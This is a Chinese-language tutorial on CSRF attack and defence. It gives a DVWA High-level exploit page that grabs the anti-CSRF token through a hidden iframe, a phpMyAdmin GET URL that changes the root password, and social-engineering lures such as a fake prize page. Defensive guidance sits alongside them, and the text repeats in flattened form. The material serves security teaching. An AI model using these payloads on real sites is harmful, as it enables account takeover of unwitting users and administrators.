[红日安全]Web安全Day3 - CSRF实战攻防
字数 2387 2025-08-18 11:39:19

CSRF实战攻防教学文档

1. CSRF漏洞基础

1.1 CSRF漏洞简介

CSRF(跨站请求伪造)是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向服务器发送请求,从而完成非法操作(如转账、改密等)。

与XSS的区别:CSRF并没有盗取cookie而是直接利用。

1.2 CSRF漏洞分类

1.2.1 GET型CSRF

  • 只需要构造URL,诱导受害者访问即可利用
  • 示例:http://example.com/change-password?newpass=attacker

1.2.2 POST型CSRF

  • 需要构造自动提交或点击提交的表单
  • 诱导受害者访问或点击利用

1.3 CSRF漏洞危害

  • 未验证Referer或使用Token导致用户/管理员可被CSRF攻击
  • 可执行添加、修改、删除等敏感操作
  • 可能导致账户接管、数据泄露等严重后果

1.4 CSRF漏洞修复方案

  1. 添加随机token值并验证

    • 每次表单提交需携带服务器生成的随机token
    • 服务器验证token有效性
  2. 验证Referer

    • 检查请求来源是否合法
    • 但可能被绕过(如存在Referer泄露或空Referer)
  3. 关键请求使用验证码

    • 对敏感操作要求用户输入验证码

2. CSRF漏洞利用方法

2.1 利用思路

  1. 寻找增删改功能的接口
  2. 构造HTML攻击页面
  3. 修改HTML表单中关键参数
  4. 诱导受害者访问或点击
  5. 验证操作是否成功执行

2.2 工具使用

2.2.1 BurpSuite利用

  1. 拦截目标请求
  2. 右击选择"Engagement tools" → "Generate CSRF PoC"
  3. 生成攻击脚本
  4. 两种使用方式:
    • "Test in browser":用于本地测试
    • "Copy HTML":用于实际攻击

2.2.2 CSRFTester工具

  1. 下载地址:https://www.owasp.org/index.php/File:CSRFTester-1.0.zip
  2. 运行run.bat,监听8008端口
  3. 设置浏览器代理为8008
  4. 点击"Start Recording"开始记录
  5. 过滤无用数据包
  6. 点击"Generate HTML"生成攻击脚本

3. CSRF漏洞实战案例

3.1 DVWA靶场案例

3.1.1 环境搭建

  1. 下载地址:https://codeload.github.com/ethicalhack3r/DVWA/zip/master
  2. 修改config/config.inc.php.dist为config.inc.php
  3. 配置数据库密码
  4. 默认账号:admin/password

3.1.2 Low级别利用

  • 漏洞代码:无任何防护措施
  • 利用步骤
    1. 使用BurpSuite拦截修改密码请求
    2. 生成CSRF PoC
    3. 构造HTML攻击页面
    4. 受害者访问即触发密码修改

3.1.3 Medium级别利用

  • 防护措施:检查Referer是否包含服务器名
  • 绕过方法
    1. 查看phpinfo确定SERVER_NAME
    2. 构造攻击页面时修改Referer头
    3. 添加localhost等可信来源

3.1.4 High级别利用

  • 防护措施:Anti-CSRF token机制
  • 绕过方法
    1. 使用iframe嵌入目标页面获取token
    2. 通过JavaScript自动提交表单
    3. 构造攻击代码示例:
<html>
<body>
<script type="text/javascript">
  function attack() {
    document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
    document.getElementById("transfer").submit();
  }
</script>
<iframe src="http://target/dvwa/vulnerabilities/csrf" id="hack" style="display:none;"></iframe>
<body onload="attack()">
  <form method="GET" id="transfer" action="http://target/dvwa/vulnerabilities/csrf">
    <input type="hidden" name="password_new" value="attacker">
    <input type="hidden" name="password_conf" value="attacker">
    <input type="hidden" name="user_token" value="">
    <input type="hidden" name="Change" value="Change">
  </form>
</body>
</html>

3.2 骑士CMS案例

3.2.1 环境搭建

  1. 下载地址:http://www.74cms.com/download/load/id/155.html
  2. 使用phpstudy搭建环境

3.2.2 利用过程

  1. 拦截添加管理员请求
  2. 生成CSRF PoC
  3. 伪装成中奖页面
  4. 使用短域名增强隐蔽性
  5. 诱导管理员访问创建攻击者账号

3.3 phpMyAdmin案例

3.3.1 环境搭建

  • 使用VulnSpy在线靶机:https://www.vulnspy.com/?u=pmasa-2017-9
  • 默认账号:root/toor

3.3.2 利用过程

  1. 构造修改密码的SQL语句:SET password=PASSWORD('attacker');
  2. 生成GET型CSRF URL:
http://target/pma/sql.php?db=mysql&table=user&sql_query=SET%20password%20=%20PASSWORD(%27attacker%27)
  1. 使用短域名伪装
  2. 诱导管理员访问

4. 防御措施深入分析

4.1 Token防御机制最佳实践

  • 每个会话使用唯一token
  • Token绑定到特定用户和操作
  • Token设置合理有效期
  • 重要操作使用一次性token

4.2 Referer验证的局限性

  • 可能被绕过(如HTTPS→HTTP跳转丢失Referer)
  • 用户隐私浏览器设置可能禁用Referer
  • 需要配合其他防护措施

4.3 多因素防御策略

  1. 关键操作二次确认(如密码确认)
  2. 敏感操作日志记录
  3. 操作频率限制
  4. 结合CSP策略

5. 高级攻击技巧

5.1 绕过Referer检查

  • 利用开放重定向漏洞
  • 利用XSS漏洞设置Referer
  • 使用data URI scheme

5.2 结合其他漏洞

  • 结合XSS实现更强大攻击
  • 利用JSONP劫持获取敏感信息
  • 结合点击劫持增强攻击效果

5.3 针对API的CSRF攻击

  • 针对RESTful API的攻击
  • 绕过CORS限制的方法
  • 使用Flash进行跨域请求

6. 参考资源

  1. OWASP CSRF防护指南:https://owasp.org/www-community/attacks/csrf
  2. CSRF漏洞检测工具:https://www.owasp.org/index.php/CSRFTester
  3. 高级CSRF攻击技术:https://www.blackhat.com/presentations/bh-europe-08/Willis/Presentation/bh-eu-08-willis.pdf
CSRF实战攻防教学文档 1. CSRF漏洞基础 1.1 CSRF漏洞简介 CSRF(跨站请求伪造)是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向服务器发送请求,从而完成非法操作(如转账、改密等)。 与XSS的区别 :CSRF并没有盗取cookie而是直接利用。 1.2 CSRF漏洞分类 1.2.1 GET型CSRF 只需要构造URL,诱导受害者访问即可利用 示例: http://example.com/change-password?newpass=attacker 1.2.2 POST型CSRF 需要构造自动提交或点击提交的表单 诱导受害者访问或点击利用 1.3 CSRF漏洞危害 未验证Referer或使用Token导致用户/管理员可被CSRF攻击 可执行添加、修改、删除等敏感操作 可能导致账户接管、数据泄露等严重后果 1.4 CSRF漏洞修复方案 添加随机token值并验证 每次表单提交需携带服务器生成的随机token 服务器验证token有效性 验证Referer 检查请求来源是否合法 但可能被绕过(如存在Referer泄露或空Referer) 关键请求使用验证码 对敏感操作要求用户输入验证码 2. CSRF漏洞利用方法 2.1 利用思路 寻找增删改功能的接口 构造HTML攻击页面 修改HTML表单中关键参数 诱导受害者访问或点击 验证操作是否成功执行 2.2 工具使用 2.2.1 BurpSuite利用 拦截目标请求 右击选择"Engagement tools" → "Generate CSRF PoC" 生成攻击脚本 两种使用方式: "Test in browser":用于本地测试 "Copy HTML":用于实际攻击 2.2.2 CSRFTester工具 下载地址:https://www.owasp.org/index.php/File:CSRFTester-1.0.zip 运行run.bat,监听8008端口 设置浏览器代理为8008 点击"Start Recording"开始记录 过滤无用数据包 点击"Generate HTML"生成攻击脚本 3. CSRF漏洞实战案例 3.1 DVWA靶场案例 3.1.1 环境搭建 下载地址:https://codeload.github.com/ethicalhack3r/DVWA/zip/master 修改config/config.inc.php.dist为config.inc.php 配置数据库密码 默认账号:admin/password 3.1.2 Low级别利用 漏洞代码 :无任何防护措施 利用步骤 : 使用BurpSuite拦截修改密码请求 生成CSRF PoC 构造HTML攻击页面 受害者访问即触发密码修改 3.1.3 Medium级别利用 防护措施 :检查Referer是否包含服务器名 绕过方法 : 查看phpinfo确定SERVER_ NAME 构造攻击页面时修改Referer头 添加localhost等可信来源 3.1.4 High级别利用 防护措施 :Anti-CSRF token机制 绕过方法 : 使用iframe嵌入目标页面获取token 通过JavaScript自动提交表单 构造攻击代码示例: 3.2 骑士CMS案例 3.2.1 环境搭建 下载地址:http://www.74cms.com/download/load/id/155.html 使用phpstudy搭建环境 3.2.2 利用过程 拦截添加管理员请求 生成CSRF PoC 伪装成中奖页面 使用短域名增强隐蔽性 诱导管理员访问创建攻击者账号 3.3 phpMyAdmin案例 3.3.1 环境搭建 使用VulnSpy在线靶机:https://www.vulnspy.com/?u=pmasa-2017-9 默认账号:root/toor 3.3.2 利用过程 构造修改密码的SQL语句: SET password=PASSWORD('attacker'); 生成GET型CSRF URL: 使用短域名伪装 诱导管理员访问 4. 防御措施深入分析 4.1 Token防御机制最佳实践 每个会话使用唯一token Token绑定到特定用户和操作 Token设置合理有效期 重要操作使用一次性token 4.2 Referer验证的局限性 可能被绕过(如HTTPS→HTTP跳转丢失Referer) 用户隐私浏览器设置可能禁用Referer 需要配合其他防护措施 4.3 多因素防御策略 关键操作二次确认(如密码确认) 敏感操作日志记录 操作频率限制 结合CSP策略 5. 高级攻击技巧 5.1 绕过Referer检查 利用开放重定向漏洞 利用XSS漏洞设置Referer 使用data URI scheme 5.2 结合其他漏洞 结合XSS实现更强大攻击 利用JSONP劫持获取敏感信息 结合点击劫持增强攻击效果 5.3 针对API的CSRF攻击 针对RESTful API的攻击 绕过CORS限制的方法 使用Flash进行跨域请求 6. 参考资源 OWASP CSRF防护指南:https://owasp.org/www-community/attacks/csrf CSRF漏洞检测工具:https://www.owasp.org/index.php/CSRFTester 高级CSRF攻击技术:https://www.blackhat.com/presentations/bh-europe-08/Willis/Presentation/bh-eu-08-willis.pdf